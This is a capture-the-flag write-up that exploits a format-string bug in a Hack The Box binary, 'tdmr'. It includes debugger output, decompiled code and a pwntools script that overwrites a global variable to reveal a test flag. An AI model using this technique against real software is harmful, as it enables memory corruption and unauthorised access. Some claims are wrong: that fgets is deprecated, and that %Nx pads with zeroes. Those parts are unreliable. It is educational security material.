Understanding the challenge
The challenge comes in the form of an ELF 64-bit executable, with symbols not stripped, compiled again without PIE but with stack canaries and stack not executable. This already informs us about things which we will be able to do, or not:
$ file tdmr
tdmr: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=7ac3d25d0fc9ca2f0ed6c889e937b728944a8c80, for GNU/Linux 3.2.0, not stripped
$ gdb ./tdmr
GEF for linux ready, type `gef' to start, `gef config' to configure
89 commands loaded and 5 functions added for GDB 13.1 in 0.01ms using Python engine 3.11
Reading symbols from ./tdmr...
(No debugging symbols found in ./tdmr)
gef➤ checksec
[+] checksec for '/mnt/hgfs/CTF-apr-23/pwn_tdmr/challenge/tdmr'
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Full
The interface to this challenge is a program that presents a few options to ‘print memories’, one of which has an interesting option to get user input!
Vulnerability
Going straight for the 3rd option, we notice the call to fgets
, which will read 0x4f
bytes from stdin
into an 8-byte variable - a clear stack based buffer overflow. But in this case the application is compiled with stack non executable and canaries, so this is not an easy option to exploit. Moreover, the fgets
function is actually deprecated, meaning that it is obsolete and it is strongly suggested not to use it, because it is dangerous. It is dangerous because the input data can contain NULL characters.
uVar1 = read_num();
if (uVar1 == 3) {
fwrite("\nTo unlock this memory you must be a privileged user.\n\nInsert your username to verify it: "
,1,0x5a,stdout);
fgets((char *)&local_68,0x4f,stdin);
fwrite("\n[*] Checking user ",1,0x13,stdout);
printf((char *)&local_68);
}
The way printf
function is called with user input as the only argument leads to another classic attack, format string attack! How can we use this? The flag is read and displayed by the unlock_memories
function:
void unlock_memories(long param_1)
{
ssize_t sVar1;
long in_FS_OFFSET;
char local_15;
int local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 == 0x1337babe) {
fprintf(stdout,
"%s\n[+] You unlocked a core memory! You can take a look with this passphrase:%s ",
&DAT_0040234f,&DAT_0040234a);
local_14 = open("./flag.txt",0);
if (local_14 < 0) {
perror("\n[-] Error opening flag.txt. Please contact an Administrator.\n\n");
}
while( true ) {
sVar1 = read(local_14,&local_15,1);
if (sVar1 < 1) break;
fputc((int)local_15,stdout);
}
close(local_14);
}
else {
fprintf(stdout,"%s\n[-] Sorry you are not a privileged user.\n\n",&DAT_004023f8);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
However, the unlock_memories
function is called from main
with a different parameter than the one expected:
unlock_memories(0xdeadbeef);
No 0x1337babe
, just 0xdeadbeef
🙃
Exploitation
A closer look at the disassembly for the call to unlock_memories
shows that the hardcoded parameter is actually retrieved from another location:
00401768 48 8b 05 MOV RAX,qword ptr [locked_memory] = 00000000DEADBEEFh
a1 28 00 00
0040176f 48 89 c7 MOV RDI,RAX
00401772 e8 c6 fc CALL unlock_memories
ff ff
and its address:
locked_memory
00404010 ef be ad undefined8 00000000DEADBEEFh
de 00 00
00 00
GEF confirms that its location is actually in a writable page!
gef➤ x/wx 0x00404010
0x404010 <locked_memory>: 0xdeadbeef
gef➤ xinfo 0x00404010
────────── xinfo: 0x404010 ────────
Page: 0x0000000000404000 → 0x0000000000405000 (size=0x1000)
Permissions: rw-
Pathname: /mnt/hgfs/CTF-apr-23/pwn_tdmr/challenge/tdmr
Offset (from page): 0x10
Inode: 11
Segment: .data (0x0000000000404000-0x0000000000404018)
Offset (from segment): 0x10
Symbol: locked_memory
This, coupled with the fact that we have no PIE, leads to a clear exploitation path: we need to use the format string vulnerability to overwrite a specific address - 0x00404010
.
Read values from the stack
To understand how format string vulnerability can be exploited on 64-bit platforms, we’ll for example attempt to read the 3-rd value from the stack. In a different scenario, that could have been very useful, like a password stored in a local variable on the stack. For convenience, we’ll set up a breakpoint before the printf
function call:
gef➤ b *(main+376)
→ 0x401734 <main+376> call 0x401150 <printf@plt>
Then run the application and supply the following format string: %3$x
. The layout of the stack before the function call looks like this:
After the call, we get the following output printed:
gef➤ ni
f7d14a37
Partially what was expected. To make it even better, we can print it as a pointer, which will print a whole 8-byte address, using the format string %3$p
:
gef➤ ni
0x7ffff7d14a37
We could also read values from arbitrary locations, but because the address to read from would be very large and contain a NULL
byte, that would truncate the format string.
Writing values at arbitrary locations
Writing values at arbitrary locations is a bit trickier, but once we understand the format string and how it is parsed, things start to make sense. We need to use the %Nx%M$n
format:
%M$n
will print the number of characters written so far to the M-th function parameter.%Nx
will print an int padded with N zeroes.
To overwrite the password, we’ll use the following format - %322419390x%8$n.<ADDR>
. Let’s unpack this:
322419390
is0x1337BABE
. The value we need to write, and the number of characters printed so far.%8$n
- Tellprintf
to write322419390
to the address in the 8th parameter..
- A filler character. Its role will be obvious soon.<ADDR>
- This will be the hex address to write to.
Again pause in the debugger before the printf
function call and examine the stack and the function parameters:
The address where we want to write to needs to be the 8th parameter to the
printf
call, excluding the format string. The first 6 parameters were passed via registers, and the rest are passed on the stack. So the 8th argument excluding the format string 0x00404010
, the address we want to write to. The final Python exploitation script using pwntools:
import struct
import binascii
from hexdump import hexdump
from pwn import *
bin_path = './tdmr'
e = ELF(bin_path)
proc = process(bin_path)
print(proc.recvrepeat(3))
proc.send(b'3\n')
print(proc.recvrepeat(5))
locked_memory = 0x00404010
proc.send(b'%322419390x%8$nX' + struct.pack('<Q', locked_memory) + b'\n')
buf = proc.recvrepeat(40) # Don't print the buffer because it's huge and it will crash!
print("Buf len: %d(0x%x)" % (len(buf), len(buf)))
print(buf[-100:])
Which as expected modifies the password and the code unlocks the flag:
$ python pwn_tdmr.py
[*] '/mnt/hgfs/CTF-apr-23/pwn_tdmr/challenge/tdmr'
b"\x1b[1;34m\n\nYou can only watch one memory at a time so choose wisely!\n\nInitializing interface..\n\n\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\n\xe2\x96\x91 \xe2\x96\x91\n\xe2\x96\x91 Memory Lane Room \xe2\x96\x91\n\xe2\x96\x91 \xe2\x96\x91\n\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\n\xe2\x96\x91 \xe2\x96\x91\n\xe2\x96\x91 1. Childhood \xe2\x96\x91\n\xe2\x96\x91 2. High School \xe2\x96\x91\n\xe2\x96\x91 3. Kira's marriage \xe2\x96\x91\n\xe2\x96\x91 4. Exit \xe2\x96\x91\n\xe2\x96\x91 \xe2\x96\x91\n\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\n\n>> "
b'\nTo unlock this memory you must be a privileged user.\n\nInsert your username to verify it: '
Buf len: 322419524(0x1337bb44)
b' You unlocked a core memory! You can take a look with this passphrase:\x1b[0m HTB{f4k3_fl4g_4_t35t1ng}\n'
print("Buf len: %d(0x%x)" % (len(buf), len(buf)))
print(buf[-100:])
References
- fgets() Deprecated and dangerous
- Exploiting Format String Vulnerabilities - scut / team teso
- Exploit 101 - Format Strings
- Impact of x64 calling convention in format string exploitation
- How can a format string vulnerability be used to write a specific string into memory?
- 64-bit program format string vulnerability
- Python Hexdump module